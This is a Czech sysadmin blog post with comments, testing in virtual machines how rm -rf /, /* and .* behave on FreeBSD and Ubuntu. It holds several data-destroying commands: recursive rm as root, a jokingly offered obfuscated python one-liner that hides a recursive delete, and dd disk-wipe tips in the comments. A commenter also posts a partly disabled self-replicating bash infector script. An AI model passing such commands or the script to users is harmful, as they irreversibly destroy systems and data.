Internet Info, s.r.o. Lupa Root Měšec Podnikatel DigiZone Slunečnice Vitalianew Bomba Navrcholu Weblogy Jagg Woko Dobrý web Computer.cz SK: MojeLinky
Root.czBlogyPetr Macek

Příkazy, které vám spolehlivě zničí systém nebo počítač

macan, 23. 08. 2010, 09:28 v kategorii Nezařazené,

Nedávno zde na rootu vyšel článek Příkazy, které vám solehlivě zničí systém nebo počítač. Stále se zde diskutuje třeba o oblíbeném rm -rf /, ale byly zmíněny i jiné způsoby.  V dnešní době virtualizace není velký problém si nějaký systém snadno a rychle nainstalovat a následně se jej zkusit zničit. I manuál říká It is an error to attempt to remove the files /, . or ...

Mám jen chvilku a tak testuji FreeBSD 8.1 64bit a Ubuntu 10.04 32bit. V obou případech se rm chová trochu jinak než popisuje článek. Chtěl jsem zkusit i více, takže jsem testy nejprve prováděl jako běžný uživatel, bez vyšších práv (dobré si něco takového otestovat, pokud máte na serverech některé uživatele s funkčním shellem):
$ rm -rf /
rm: "/" may not be removed

To ale není velký problém, spustíme:
$ rm -rf /*
Nebo jak někdo zmiňoval v diskuzi -no-preserve-root. A toto už se tváří, že maže, samozřejmě dostávám spoustu hlášk permission denied. Toto jsem chtěl vyzkoušet ale spíše kvůli tomu, jestli je systém odolný proti bežnému uživateli. Na FreeBSD nedojde k žádné škodě a systém i po restartu funguje bez problémů. Stejně tak i Linux.

Přistoupíme k druhému testu, už když jsem to četl, tak se mi to nezdálo. Jednalo se o expanzi shellu u rm -rf cesta/.*
Nejprve test na FreeBSD. Protože běžný uživatel nemohl celé BSD ani smazat, zkusíme to rovnou jako root:
# cd /usr/ports/net
ls -d zs*

zsync

# rm -rf zsync/.*
rm: "." and ".." may not be removed

A opět se nic nestalo. FreeBSD tedy ok. Teď stejný pokus na linuxu.

# cd /usr
rm -rf games/.*
cannot remove directory '.'

Finální test byl rm -rf /* spuštěný uživatelem root. Tady už to samozřejmě špatně dopadnout musí. U BSD dostávám hlášky jako /tmp device busy, /bin not empty, operation not permitted. Na disku zbylo několik adresářů a souborů (/tmp, .cshrc, .profile, /lib, /sbin), ale systém je mrtvý (dle očekávání). U Linuxu to dopadá vemi podobně. Při rebootu skončíme u obou na zavaděči.

Jen jsem chtěl ukázat, že příkaz rm se chová jinak než má velké množství správců zažité. Takže pokud někomu chcete poradit příkaz # python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))', budete jej muset nejprve poupravit.

Komentáře (18)

  1. 23. 08. 2010, 10:32 _r3450n_ napsal:

    $ rm -rf /* neni nahodou pod rootem?

  2. 23. 08. 2010, 11:05 macan napsal:

    Prvni pokus byl prave pod obycejnym uzivatelem. Predstavte si situaci, ze treba adresar /bin a vse v nem bude mit spatne nastavene prava. V tu chvli by vam bezny uzivatel byl schopen system poskodit

  3. 23. 08. 2010, 11:05 j. napsal:

    Njn, ale moje oblibene dd if=/dev/zero of=/dev/sda funguje spolehlive, pouzival jsem to vzdy kdyz jsem vracel laptop ;) Pro vetsi efekt se da pouzit i if=/dev/urandom, to je ale citelne pomalejsi, jinak se da experimentovat s bs=XXX pro tuning vykonu.

  4. 23. 08. 2010, 11:10 macan napsal:

    ano, rm -rf ... neni az tak rychle (obzvlaste ten linux, kdyz jsem to zkousel v Hyper-V). Zazil jsem situaci, kdy jeden propusteny spravce pustil na serveru dd if=/dev/zero of=..... a mate pravdu, slo to opravdu velmi rychle ;-)

  5. 23. 08. 2010, 12:21 Jan Ťulák napsal:

    [4] A jak to dopadlo? Nějaká soudní dohra?

  6. 23. 08. 2010, 12:29 macan napsal:

    Toto uz je mimo tema clanku, dohra nebyla.

  7. 23. 08. 2010, 15:39 TrSek napsal:

    Trochu ma zarazilo pomenovanie.
    FreeBSD 8.1 64bit je FreeBSD
    Ubuntu 10.04 32bit je Linux.

    ;o)

  8. 24. 08. 2010, 07:10 macan napsal:

    mate pravdu :-) Priste to zkusim pojmenovat lepe

  9. 24. 08. 2010, 12:31 radek napsal:

    zkouseli jste tyto prikazy pod windows? :) )

  10. 24. 08. 2010, 13:21 macan napsal:

    zajimavy napad, jdu na to ;-)

  11. 24. 08. 2010, 13:48 bestie napsal:

    na zadelani si problemu ve widlich staci vymazat boot.ini v rootu systemoveho disku.

  12. 24. 08. 2010, 14:07 macan napsal:

    u unixu nebo linuxu si staci odmazat treba /bin a jste na tom stejne

  13. 24. 08. 2010, 15:41 radek napsal:

    tady jde o to, ze ve windows nemuzes zlikvidovat (zformatovat) systemovy oddil, zatimco v linuxu staci byt prihlasen na root a nechtene napsat tento prikaz... to ze se smaze boot.ini tak jde jednodusse opravit z instalacniho CD.

  14. 24. 08. 2010, 19:42 Pali napsal:

    A ako je to s hdparm? Ma to niekto vyskusane ci to naozaj spravi pozadovanu vec? :-)

  15. 25. 08. 2010, 03:20 Harvie napsal:

    zkuste tenhle skriptik:
    je to jeden z prvnich bash skriptu, ktery jsem psal kdysi pred lety, tak se trochu omlouvam (predevsim kvuli z hlediska pametove narocnosti suboptimalnimu zpracovani vystupu prikazu find). jenom poznamenam, ze je potreba malinko upravit prvni radek (kvuli script-kiddies) - hashbang nepocitam jako radek. system by mel po provedeni nabootovat, ale uz nikdy nebude jako driv :-)

    #!/bin/bash
    for i in $( find /dev/null 2> /dev/null | grep -i "\.bash\$\|\.sh\$" ); do #H000KED
    if ( fgrep "\#H000KED" $i > /dev/null ); then
    echo Already infected: $i #Debug only
    continue #H000KED
    fi #H000KED
    echo >> $i #H000KED
    cat $0 | grep \#H000KED >> $i
    echo Newly infected: $i #Debug only
    done #H000KED

  16. 25. 08. 2010, 09:08 Nike Shox R4 Flywire napsal:

    All roads to Roma.

  17. 28. 08. 2010, 12:37 šachy napsal:

    [3] Mě se osvědčilo bs=4096

    Jinak dd je velice efekt(iv)ní...

  18. 9. 09. 2010, 16:30 Akční Tomáš napsal:

    Jenže, že je tenhle blogpost na rootu. Vždycky, když to vidím někde na žive.cz apod. tak mě mrazí, kolik asi lidí to doma hned vyzkouší......

K tomuto spotu není povoleno přidávání komentářů.